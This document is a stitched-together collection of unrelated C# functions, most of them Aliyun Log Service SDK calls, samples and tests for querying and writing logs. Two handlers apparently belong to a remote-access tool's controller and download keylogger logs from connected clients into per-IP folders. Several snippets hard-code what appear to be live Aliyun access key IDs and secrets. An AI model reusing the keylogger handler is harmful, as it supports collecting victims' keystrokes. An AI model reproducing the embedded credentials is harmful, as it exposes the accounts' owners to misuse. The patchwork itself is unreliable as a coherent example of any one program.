// GET: Log public JsonResult GetLogs(uint from, uint to, int lines, int offset) { if (lines < 1) { lines = 1; } if (lines > 100) { lines = 100; } if (offset < 0) { offset = 0; } LogClient client = new LogClient("cn-hangzhou.log.aliyuncs.com", "LTAIk45GEzpqUxg6", "jcLHPKpmTSU3yjh5quANAHMbqaW3xt"); GetLogsRequest getLogReq = new GetLogsRequest("weapp-api", "cvs_log", from, to, "", "", lines, offset, false); GetLogsResponse getLogResp = client.GetLogs(getLogReq); IList <string> msgs = (from queriedLog in getLogResp.Logs from content in queriedLog.Contents where content.Key.Equals("message", StringComparison.InvariantCultureIgnoreCase) select content.Value).ToList(); return(Json(getLogResp.Count > 0 ? JsonConvert.SerializeObject(msgs) : "", JsonRequestBehavior.AllowGet)); }
public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) { if (client.Value.FrmKl == null) { return; } if (packet.FileCount == 0) { client.Value.FrmKl.SetGetLogsEnabled(true); return; } if (string.IsNullOrEmpty(packet.Filename)) { return; } string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\"); if (!Directory.Exists(downloadPath)) { Directory.CreateDirectory(downloadPath); } downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles(); if (iFiles.Length == 0) { return; } foreach (FileInfo file in iFiles) { if (client.Value.FrmKl == null) { break; } client.Value.FrmKl.AddLogToListview(file.Name); } if (client.Value.FrmKl == null) { return; } client.Value.FrmKl.SetGetLogsEnabled(true); } }
public async Task <GetLogsResponse> GetLogs(GetLogsRequest o) { var result = new GetLogsResponse(o.RequestId); result.Logs.AddRange(await Server.GetLogEntries(o.Application, o.From, o.To)); return(result); }
public static void HandleGetLogsResponse(Client client, GetLogsResponse packet) { if (client.Value.FrmKl == null) { return; } if (packet.FileCount == 0) { client.Value.FrmKl.Invoke((MethodInvoker) delegate { client.Value.FrmKl.btnGetLogs.Enabled = true; }); return; } string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\"); if (!Directory.Exists(downloadPath)) { Directory.CreateDirectory(downloadPath); } downloadPath = Path.Combine(downloadPath, packet.Filename + ".html"); FileSplit destFile = new FileSplit(downloadPath); destFile.AppendBlock(packet.Block, packet.CurrentBlock); if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks) { FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles(); if (iFiles.Length == 0) { return; } foreach (FileInfo file in iFiles) { var file1 = file; client.Value.FrmKl.Invoke((MethodInvoker) delegate { client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem() { Text = file1.Name }); }); } client.Value.FrmKl.Invoke((MethodInvoker) delegate { client.Value.FrmKl.btnGetLogs.Enabled = true; }); } }
public void TestGetLogs() { LogClient client = new LogClient(ClientTestData.TEST_ENDPOINT, ClientTestData.TEST_ACCESSKEYID, ClientTestData.TEST_ACCESSKEY); client.SetWebSend(MockSend); GetLogsRequest request = new GetLogsRequest(); request.Project = ClientTestData.TEST_PROJECT; request.Logstore = "testlogstore"; request.Query = "error"; request.Topic = "mockTopic"; request.From = 1000; request.To = 2000; request.Lines = 200; request.Offset = 0; GetLogsResponse response = client.GetLogs(request); Assert.IsTrue(DicToString(Headers).CompareTo("[x-sls-apiversion:0.4.0][x-sls-bodyrawsize:0][x-sls-signaturemethod:hmac-sha1][User-Agent:aliyun-sdk-dotnet/1.0.0.0]") == 0); Assert.IsTrue(response != null && response.Count == 2); Assert.IsTrue(Host.CompareTo("mock_project.mockhost.aliyuncs.com") == 0); Assert.IsTrue(RequestUri.CompareTo("http://mock_project.mockhost.aliyuncs.com/logstores/testlogstore?type=log&topic=mockTopic&from=1000&to=2000&query=error&line=200&offset=0") == 0); }
private void GetAliyunLog() { LogClient _client = new LogClient(endpoint, accesskey, accessecret); StringBuilder sb = new StringBuilder(); DateTime unixTimestampZeroPoint = new DateTime(1970, 01, 01, 0, 0, 0, DateTimeKind.Utc); DateTime fromStamp = DateTime.UtcNow.AddDays(-1); DateTime toStamp = DateTime.UtcNow; sb.Append("beginTime:" + fromStamp + "--" + "endTime" + toStamp + "\n\n"); uint from = (uint)((fromStamp - unixTimestampZeroPoint).TotalSeconds); uint to = (uint)((toStamp - unixTimestampZeroPoint).TotalSeconds); try { GetLogsRequest req = new GetLogsRequest(projectName, logstore, from, to, "", "ActivityLogTypeName:网站商品PV | select ActivityLogTypeName, Comment, count(1) as count group by Comment,ActivityLogTypeName order by count desc limit 100", int.MaxValue, 0, true); GetLogsResponse res = _client.GetLogs(req); if (res != null && res.IsCompleted()) { foreach (QueriedLog log in res.Logs) { foreach (var item in log.Contents) { sb.Append(item.Key + ";" + item.Value + "\n"); } } } MessageBox.Show(sb.ToString()); } catch (Exception ex) { MessageBox.Show(ex.Message); } }
static void Main(string[] args) { // select you endpoint https://help.aliyun.com/document_detail/29008.html String endpoint = "cn-shanghai.log.aliyuncs.com", accesskeyId = "", accessKey = "", project = "microex-test1", logstore = "test"; LogClient client = new LogClient(endpoint, accesskeyId, accessKey); //init http connection timeout client.ConnectionTimeout = client.ReadWriteTimeout = 10000; //list logstores foreach (String l in client.ListLogstores(new ListLogstoresRequest(project)).Logstores) { Console.WriteLine(l); } //put logs PutLogsRequest putLogsReqError = new PutLogsRequest(); putLogsReqError.Project = project; putLogsReqError.Topic = "dotnet_topic"; putLogsReqError.Logstore = logstore; putLogsReqError.LogItems = new List <LogItem>(); for (int i = 1; i <= 10; ++i) { LogItem logItem = new LogItem(); logItem.Time = DateUtils.TimeSpan(); for (int k = 0; k < 10; ++k) { logItem.PushBack("error_" + i.ToString(), "invalid operation"); } putLogsReqError.LogItems.Add(logItem); } PutLogsResponse putLogRespError = client.PutLogs(putLogsReqError); Thread.Sleep(5000); //query logs, if query string is "", it means query all data GetLogsRequest getLogReq = new GetLogsRequest(project, logstore, DateUtils.TimeSpan() - 100, DateUtils.TimeSpan(), "dotnet_topic", "", 100, 0, false); GetLogsResponse getLogResp = client.GetLogs(getLogReq); Console.WriteLine("Log count : " + getLogResp.Logs.Count.ToString()); for (int i = 0; i < getLogResp.Logs.Count; ++i) { var log = getLogResp.Logs[i]; Console.WriteLine("Log time : " + DateUtils.GetDateTime(log.Time)); for (int j = 0; j < log.Contents.Count; ++j) { Console.WriteLine("\t" + log.Contents[j].Key + " : " + log.Contents[j].Value); } Console.WriteLine(""); } //query histogram GetHistogramsResponse getHisResp = client.GetHistograms(new GetHistogramsRequest(project, logstore, DateUtils.TimeSpan() - 100, DateUtils.TimeSpan(), "dotnet_topic", "")); Console.WriteLine("Histograms total count : " + getHisResp.TotalCount.ToString()); //list shards ListShardsResponse listResp = client.ListShards(new ListShardsRequest(project, logstore)); Console.WriteLine("Shards count : " + listResp.Shards.Count.ToString()); //batch get logs for (int i = 0; i < listResp.Shards.Count; ++i) { //get cursor String cursor = client.GetCursor(new GetCursorRequest(project, logstore, listResp.Shards[i], ShardCursorMode.BEGIN)).Cursor; Console.WriteLine("Cursor : " + cursor); BatchGetLogsResponse batchGetResp = client.BatchGetLogs(new BatchGetLogsRequest(project, logstore, listResp.Shards[i], cursor, 10)); Console.WriteLine("Batch get log, shard id : " + listResp.Shards[i].ToString() + ", log count : " + batchGetResp.LogGroupList.LogGroupList_Count.ToString()); } }
/// <summary> /// Get The sub set of logs data from sls server which match input /// parameters. /// </summary> /// <param name="request">The get logs request</param> /// <exception>LogException</exception> /// <returns>The get Logs response</returns> public GetLogsResponse GetLogs(GetLogsRequest request) { using (ServiceRequest sReq = new ServiceRequest()) { sReq.Method = HttpMethod.Get; sReq.Endpoint = BuildReqEndpoint(request); //use empty string to replace Logstore if not set by user explicitly string logstore = request.IsSetLogstore() ? request.Logstore : String.Empty; sReq.ResourcePath = LogConsts.RESOURCE_LOGSTORES + LogConsts.RESOURCE_SEPARATOR + logstore; FillCommonHeaders(sReq); FillCommonParameters(sReq); sReq.Parameters.Add(LogConsts.PARAMETER_TYPE, LogConsts.VALUE_TYPE_CONTENT); if (request.IsSetTopic()) { sReq.Parameters.Add(LogConsts.PARAMETER_TOPIC, request.Topic); } if (request.IsSetFrom()) { sReq.Parameters.Add(LogConsts.PARAMETER_FROM, request.From.ToString()); } if (request.IsSetTo()) { sReq.Parameters.Add(LogConsts.PARAMETER_TO, request.To.ToString()); } if (request.IsSetQuery()) { sReq.Parameters.Add(LogConsts.PARAMETER_QUERY, request.Query); } if (request.IsSetLines()) { sReq.Parameters.Add(LogConsts.PARAMETER_LINES, request.Lines.ToString()); } if (request.IsSetOffset()) { sReq.Parameters.Add(LogConsts.PARAMETER_OFFSET, request.Offset.ToString()); } if (request.IsSetReverse()) { sReq.Parameters.Add(LogConsts.PARAMETER_REVERSE, request.Reverse.ToString()); } ExecutionContext context = new ExecutionContext(); context.Signer = new LogRequestSigner(sReq.ResourcePath, HttpMethod.Get); context.Credentials = new ServiceCredentials(this.AccessKeyId, this.AccessKey); using (ServiceResponse response = serviceClient.Send(sReq, context)) { LogClientTools.ResponseErrorCheck(response, context.Credentials); JArray body = LogClientTools.ParserResponseToJArray(response.Content); GetLogsResponse res = new GetLogsResponse(response.Headers, body); return(res); } } }
public void FT() { LogClient client = new LogClient("sls-failover.alibaba-inc.com", "", ""); uint topicFlag = DateUtils.TimeSpan(); int PUT_COUNT = 20, TOPIC_COUNT = 10, LOGITEM_COUNT = 20, CONTENT_COUNT = 10, SLEEP_INTERVAL = 2, SLEEP_TIME = 500; for (int j = 1; j <= PUT_COUNT; ++j) { PutLogsRequest putLogsReqError = new PutLogsRequest(); putLogsReqError.Project = "ali-winlogtail-project"; putLogsReqError.Topic = "dotnet_topic_" + topicFlag + "_" + (j % TOPIC_COUNT); putLogsReqError.Logstore = "sls-logstore-002"; putLogsReqError.LogItems = new List <LogItem>(); for (int i = 1; i <= LOGITEM_COUNT; ++i) { LogItem logItem = new LogItem(); logItem.Time = (uint)(topicFlag + j); for (int k = 0; k < CONTENT_COUNT; ++k) { logItem.PushBack("error_" + (j % TOPIC_COUNT) + "_" + k, "invalid operation: " + i * j); } putLogsReqError.LogItems.Add(logItem); } PutLogsResponse putLogRespError = client.PutLogs(putLogsReqError); if (j % SLEEP_INTERVAL == 0) { Thread.Sleep(SLEEP_TIME); } } Thread.Sleep(50 * 1000); ListLogstoresRequest req = new ListLogstoresRequest(); req.Project = "ali-winlogtail-project"; ListLogstoresResponse res = client.ListLogstores(req); HashSet <String> logstoresSet = new HashSet <string>(res.Logstores); Assert.IsTrue(logstoresSet.Contains("sls-logstore-002")); ListTopicsRequest topicReq = new ListTopicsRequest(); topicReq.Project = "ali-winlogtail-project"; topicReq.Logstore = "sls-logstore-002"; topicReq.Lines = TOPIC_COUNT; topicReq.Token = "dotnet_topic_" + topicFlag + "_"; ListTopicsResponse lstTopicsRequest = client.ListTopics(topicReq); Assert.IsTrue(lstTopicsRequest.Count >= TOPIC_COUNT); HashSet <String> topicSet = new HashSet <string>(lstTopicsRequest.Topics); for (int i = 0; i < TOPIC_COUNT; ++i) { Assert.IsTrue(topicSet.Contains("dotnet_topic_" + topicFlag + "_" + i)); } Thread.Sleep(SLEEP_TIME); for (int i = 0; i < TOPIC_COUNT; ++i) { GetHistogramsRequest histReq = new GetHistogramsRequest(); histReq.Project = "ali-winlogtail-project"; histReq.Logstore = "sls-logstore-002"; histReq.Topic = "dotnet_topic_" + topicFlag + "_" + i; histReq.To = (uint)(topicFlag + PUT_COUNT + 1); histReq.From = (uint)topicFlag; GetHistogramsResponse histResp = client.GetHistograms(histReq); Assert.IsTrue(histResp.TotalCount == (PUT_COUNT / TOPIC_COUNT) * LOGITEM_COUNT); if ((i + 1) % SLEEP_INTERVAL == 0) { Thread.Sleep(SLEEP_TIME); } } Thread.Sleep(SLEEP_TIME); for (int i = 0; i < TOPIC_COUNT; ++i) { for (int k = 0; k < 2; ++k) { GetHistogramsRequest histReq = new GetHistogramsRequest(); histReq.Project = "ali-winlogtail-project"; histReq.Logstore = "sls-logstore-002"; histReq.Topic = "dotnet_topic_" + topicFlag + "_" + i; histReq.Query = "error_" + i + "_" + k; histReq.To = (uint)(topicFlag + PUT_COUNT + 1); histReq.From = (uint)topicFlag; GetHistogramsResponse histResp = client.GetHistograms(histReq); Assert.IsTrue(histResp.TotalCount == (PUT_COUNT / TOPIC_COUNT) * LOGITEM_COUNT); if ((k + 1) * (i + 1) % SLEEP_INTERVAL == 0) { Thread.Sleep(SLEEP_TIME); } } } Thread.Sleep(SLEEP_TIME); for (int i = 0; i < TOPIC_COUNT; ++i) { GetLogsRequest getLogsReq = new GetLogsRequest(); getLogsReq.Project = "ali-winlogtail-project"; getLogsReq.Logstore = "sls-logstore-002"; getLogsReq.Topic = "dotnet_topic_" + topicFlag + "_" + i; getLogsReq.Lines = 120; getLogsReq.To = (uint)(topicFlag + PUT_COUNT + 1); getLogsReq.From = (uint)topicFlag; GetLogsResponse getLogsResp = client.GetLogs(getLogsReq); Assert.IsTrue(getLogsResp.Count == (PUT_COUNT / TOPIC_COUNT) * LOGITEM_COUNT); String logs = getLogsResp.Print(); for (int m = 0; m < CONTENT_COUNT; ++m) { String dstStr = "error_" + i + "_" + m; Assert.IsTrue(ChildStringOccurTimes(logs, dstStr) == getLogsResp.Count); } if ((i + 1) % SLEEP_INTERVAL == 0) { Thread.Sleep(SLEEP_TIME); } } Thread.Sleep(SLEEP_TIME); for (int i = 0; i < TOPIC_COUNT; ++i) { for (int k = 0; k < 2; ++k) { GetLogsRequest getLogsReq = new GetLogsRequest(); getLogsReq.Project = "ali-winlogtail-project"; getLogsReq.Logstore = "sls-logstore-002"; getLogsReq.Topic = "dotnet_topic_" + topicFlag + "_" + i; getLogsReq.Query = "error_" + i + "_" + k; getLogsReq.Lines = 120; getLogsReq.To = (uint)(topicFlag + PUT_COUNT + 1); getLogsReq.From = (uint)topicFlag; GetLogsResponse getLogsResp = client.GetLogs(getLogsReq); Assert.IsTrue(getLogsResp.Count == (PUT_COUNT / TOPIC_COUNT) * LOGITEM_COUNT); String logs = getLogsResp.Print(); for (int m = 0; m < CONTENT_COUNT; ++m) { String dstStr = "error_" + i + "_" + m; Assert.IsTrue(ChildStringOccurTimes(logs, dstStr) == getLogsResp.Count); } if ((k + 1) * (i + 1) % SLEEP_INTERVAL == 0) { Thread.Sleep(SLEEP_TIME); } } } Console.WriteLine(); }
public void TestException() { LogClient client = new LogClient(ClientTestData.TEST_ENDPOINT, ClientTestData.TEST_ACCESSKEYID, ClientTestData.TEST_ACCESSKEY); client.SetWebSend(MockSend); //server error try { GetLogsRequest request = new GetLogsRequest(); request.Project = ClientTestData.TEST_PROJECT; request.Logstore = "server_error_return"; request.Query = "error"; request.Topic = "mockTopic"; request.From = 1000; request.To = 2000; request.Lines = 200; request.Offset = 0; GetLogsResponse response = null; response = client.GetLogs(request); Assert.Fail("server exception is not triggered"); } catch (LogException exp) { Assert.IsTrue(exp.ErrorCode.CompareTo("SLSServerErrorTest") == 0); } //json error try { GetLogsRequest request = new GetLogsRequest(); request.Project = ClientTestData.TEST_PROJECT; request.Logstore = "response_json_error_field"; request.Query = "error"; request.Topic = "mockTopic"; request.From = 1000; request.To = 2000; request.Lines = 200; request.Offset = 0; GetLogsResponse response = null; response = client.GetLogs(request); Assert.Fail("json exception is not triggered"); } catch (LogException exp) { Assert.IsTrue(exp.ErrorCode.CompareTo("SLSBadResponse") == 0); } try { GetLogsRequest request = new GetLogsRequest(); request.Project = ClientTestData.TEST_PROJECT; request.Logstore = "response_json_error_format"; request.Query = "error"; request.Topic = "mockTopic"; request.From = 1000; request.To = 2000; request.Lines = 200; request.Offset = 0; GetLogsResponse response = null; response = client.GetLogs(request); Assert.Fail("json exception is not triggered"); } catch (LogException exp) { Assert.IsTrue(exp.ErrorCode.CompareTo("SLSBadResponse") == 0); } //response stream error try { GetLogsRequest request = new GetLogsRequest(); request.Project = ClientTestData.TEST_PROJECT; request.Logstore = "response_stream_error"; request.Query = "error"; request.Topic = "mockTopic"; request.From = 1000; request.To = 2000; request.Lines = 200; request.Offset = 0; GetLogsResponse response = null; response = client.GetLogs(request); Assert.Fail("io exception is not triggered"); } catch (LogException exp) { Assert.IsTrue(exp.ErrorCode.CompareTo("SLSBadResponse") == 0); } }
private static void Test2() { string endpoint = "http://cn-shenzhen.log.aliyuncs.com"; //选择与上面步骤创建 project 所属区域匹配的日志服务 Endpoint string accessKeyId = "LTAIAEMVSMtDaRcn"; //使用你的阿里云访问秘钥 AccessKeyId string accessKeySecret = "u6CgiFiWd6ahL8ux4fRd7tWmiHmDhH"; //使用你的阿里云访问秘钥 AccessKeySecret string project = "henry-hyh-logservice"; //上面步骤创建的项目名称 string logstore = "henry-hyh-logstore"; //上面步骤创建的日志库名称 //构建一个客户端实例 LogClient client = new LogClient(endpoint, accessKeyId, accessKeySecret); //列出当前 project 下的所有日志库名称 ListLogstoresResponse res1 = client.ListLogstores(new ListLogstoresRequest(project)); Console.WriteLine("Totoal logstore number is " + res1.Count); foreach (string name in res1.Logstores) { Console.WriteLine(name); } DateTime unixTimestampZeroPoint = new DateTime(1970, 01, 01, 0, 0, 0, DateTimeKind.Utc); //写入日志 List <LogItem> logs = new List <LogItem>(); for (int i = 0; i < 5; i++) { LogItem item = new LogItem(); item.Time = (uint)((DateTime.UtcNow - unixTimestampZeroPoint).TotalSeconds); item.PushBack("CTime", DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss.fff", System.Globalization.DateTimeFormatInfo.InvariantInfo)); item.PushBack("Index", i.ToString()); logs.Add(item); } string topic = "hello.topic"; //选择合适的日志主题 string source = "localhost"; //选择合适的日志来源(如 IP 地址) PutLogsResponse res4 = client.PutLogs(new PutLogsRequest(project, logstore, topic, source, logs)); Console.WriteLine("Request ID for PutLogs: " + res4.GetRequestId()); //等待 1 分钟让日志可查询 // System.Threading.Thread.Sleep(60 * 1000); System.Threading.Thread.Sleep(5 * 1000); DateTime fromStamp = DateTime.UtcNow - new TimeSpan(0, 10, 0); DateTime toStamp = DateTime.UtcNow; uint from = (uint)((fromStamp - unixTimestampZeroPoint).TotalSeconds); uint to = (uint)((toStamp - unixTimestampZeroPoint).TotalSeconds); var query = "Index"; //查询日志分布情况 GetHistogramsResponse res2 = null; do { res2 = client.GetHistograms(new GetHistogramsRequest(project, logstore, from, to)); } while ((res2 != null) && (!res2.IsCompleted())); Console.WriteLine("Total count of logs is " + res2.TotalCount); foreach (Histogram ht in res2.Histograms) { Console.WriteLine(string.Format("from {0}, to {1}, count {2}.", ht.From, ht.To, ht.Count)); } //查询日志数据 GetLogsResponse res3 = null; do { res3 = client.GetLogs(new GetLogsRequest(project, logstore, from, to, string.Empty, query, 5, 0, true)); } while ((res3 != null) && (!res3.IsCompleted())); Console.WriteLine("Have gotten logs..."); foreach (QueriedLog log in res3.Logs) { Console.WriteLine("----{0}, {1}---", log.Time, log.Source); for (int i = 0; i < log.Contents.Count; i++) { Console.WriteLine("{0} --> {1}", log.Contents[i].Key, log.Contents[i].Value); } } Console.WriteLine("Finish"); Console.ReadKey(); }
static void Main(string[] args) { String endpoint = "cn-hangzhou.log.aliyuncs.com"; //选择与上面步骤创建 project 所属区域匹配的日志服务 Endpoint String accessKeyId = "yacNT1obW34STZCL"; //使用你的阿里云访问秘钥 AccessKeyId String accessKeySecret = "K4JY48aALclGK8iZ082B4MPLLfy2BN"; //使用你的阿里云访问秘钥 AccessKeySecret String project = "chekongbao"; //上面步骤创建的项目名称 String logstore = "ckb_log"; //上面步骤创建的日志库名称 //构建一个客户端实例 SLSClient client = new SLSClient(endpoint, accessKeyId, accessKeySecret); //列出当前 project 下的所有日志库名称 ListLogstoresResponse res1 = client.ListLogstores(new ListLogstoresRequest(project)); Console.WriteLine("Totoal logstore number is " + res1.Count); foreach (String name in res1.Logstores) { Console.WriteLine(name); } DateTime unixTimestampZeroPoint = new DateTime(1970, 01, 01, 0, 0, 0, DateTimeKind.Utc); //写入日志 List <LogItem> logs = new List <LogItem>(); for (int i = 0; i < 5; i++) { LogItem item = new LogItem(); item.Time = (uint)((DateTime.UtcNow - unixTimestampZeroPoint).TotalSeconds); item.PushBack("index", i.ToString()); logs.Add(item); } String topic = String.Empty; //选择合适的日志主题 String source = "localhost"; //选择合适的日志来源(如 IP 地址) PutLogsResponse res4 = client.PutLogs(new PutLogsRequest(project, logstore, topic, source, logs)); Console.WriteLine("Request ID for PutLogs: " + res4.GetRequestId()); //等待 1 分钟让日志可查询 System.Threading.Thread.Sleep(60 * 1000); //查询日志分布情况 DateTime fromStamp = DateTime.UtcNow - new TimeSpan(0, 10, 0); DateTime toStamp = DateTime.UtcNow; uint from = (uint)((fromStamp - unixTimestampZeroPoint).TotalSeconds); uint to = (uint)((toStamp - unixTimestampZeroPoint).TotalSeconds); GetHistogramsResponse res2 = null; do { res2 = client.GetHistograms(new GetHistogramsRequest(project, logstore, from, to)); } while ((res2 != null) && (!res2.IsCompleted())); Console.WriteLine("Total count of logs is " + res2.TotalCount); foreach (Histogram ht in res2.Histograms) { Console.WriteLine(String.Format("from {0}, to {1}, count {2}.", ht.From, ht.To, ht.Count)); } //查询日志数据 GetLogsResponse res3 = null; do { res3 = client.GetLogs(new GetLogsRequest(project, logstore, from, to, String.Empty, String.Empty, 5, 0, true)); } while ((res3 != null) && (!res3.IsCompleted())); Console.WriteLine("Have gotten logs..."); foreach (QueriedLog log in res3.Logs) { Console.WriteLine("----{0}, {1}---", log.Time, log.Source); for (int i = 0; i < log.Contents.Count; i++) { Console.WriteLine("{0} --> {1}", log.Contents[i].Key, log.Contents[i].Value); } } Console.ReadKey(); }
static void Main(string[] args) { // select you endpoint https://help.aliyun.com/document_detail/29008.html String endpoint = "http://cn-hangzhou.log.aliyuncs.com", accesskeyId = "", //阿里云授权id accessKey = "", //阿里云授权Key project = "", //项目名称,每个项目可以创建10个日志库 logstore = ""; //日志库 //int shardId = 0;//分区id LogClient client = new LogClient(endpoint, accesskeyId, accessKey); //init http connection timeout client.ConnectionTimeout = client.ReadWriteTimeout = 10000; //list logstores foreach (String l in client.ListLogstores(new ListLogstoresRequest(project)).Logstores) { Console.WriteLine(l); } //put logs PutLogsRequest putLogsReqError = new PutLogsRequest { Project = project, Topic = "dotnet_topic", Logstore = logstore, LogItems = new List <LogItem>() }; for (int i = 1; i <= 10; ++i) { LogItem logItem = new LogItem { Time = DateUtils.TimeSpan() }; for (int k = 0; k < 10; ++k) { logItem.PushBack("info", "GetLogs 接口查询指定 Project 下某个 Logstore 中的日志数据。还可以通过指定相关参数仅查询符合指定条件的日志数据。"); } putLogsReqError.LogItems.Add(logItem); } PutLogsResponse putLogRespError = client.PutLogs(putLogsReqError); Thread.Sleep(5000); //query logs, if query string is "", it means query all data GetLogsRequest getLogReq = new GetLogsRequest(project, logstore, DateUtils.TimeSpan() - 100, DateUtils.TimeSpan(), "dotnet_topic", "", 100, 0, false); GetLogsResponse getLogResp = client.GetLogs(getLogReq); Console.WriteLine("Log count : " + getLogResp.Logs.Count.ToString()); for (int i = 0; i < getLogResp.Logs.Count; ++i) { var log = getLogResp.Logs[i]; Console.WriteLine("Log time : " + DateUtils.GetDateTime(log.Time)); for (int j = 0; j < log.Contents.Count; ++j) { Console.WriteLine("\t" + log.Contents[j].Key + " : " + log.Contents[j].Value); } Console.WriteLine(""); } //query histogram GetHistogramsResponse getHisResp = client.GetHistograms(new GetHistogramsRequest(project, logstore, DateUtils.TimeSpan() - 100, DateUtils.TimeSpan(), "dotnet_topic", "")); Console.WriteLine("Histograms total count : " + getHisResp.TotalCount.ToString()); //list shards ListShardsResponse listResp = client.ListShards(new ListShardsRequest(project, logstore)); Console.WriteLine("Shards count : " + listResp.Shards.Count.ToString()); //batch get logs for (int i = 0; i < listResp.Shards.Count; ++i) { //get cursor String cursor = client.GetCursor(new GetCursorRequest(project, logstore, listResp.Shards[i], ShardCursorMode.BEGIN)).Cursor; Console.WriteLine("Cursor : " + cursor); BatchGetLogsResponse batchGetResp = client.BatchGetLogs(new BatchGetLogsRequest(project, logstore, listResp.Shards[i], cursor, 10)); Console.WriteLine("Batch get log, shard id : " + listResp.Shards[i].ToString() + ", log count : " + batchGetResp.LogGroupList.LogGroupList_Count.ToString()); } Console.ReadKey(); }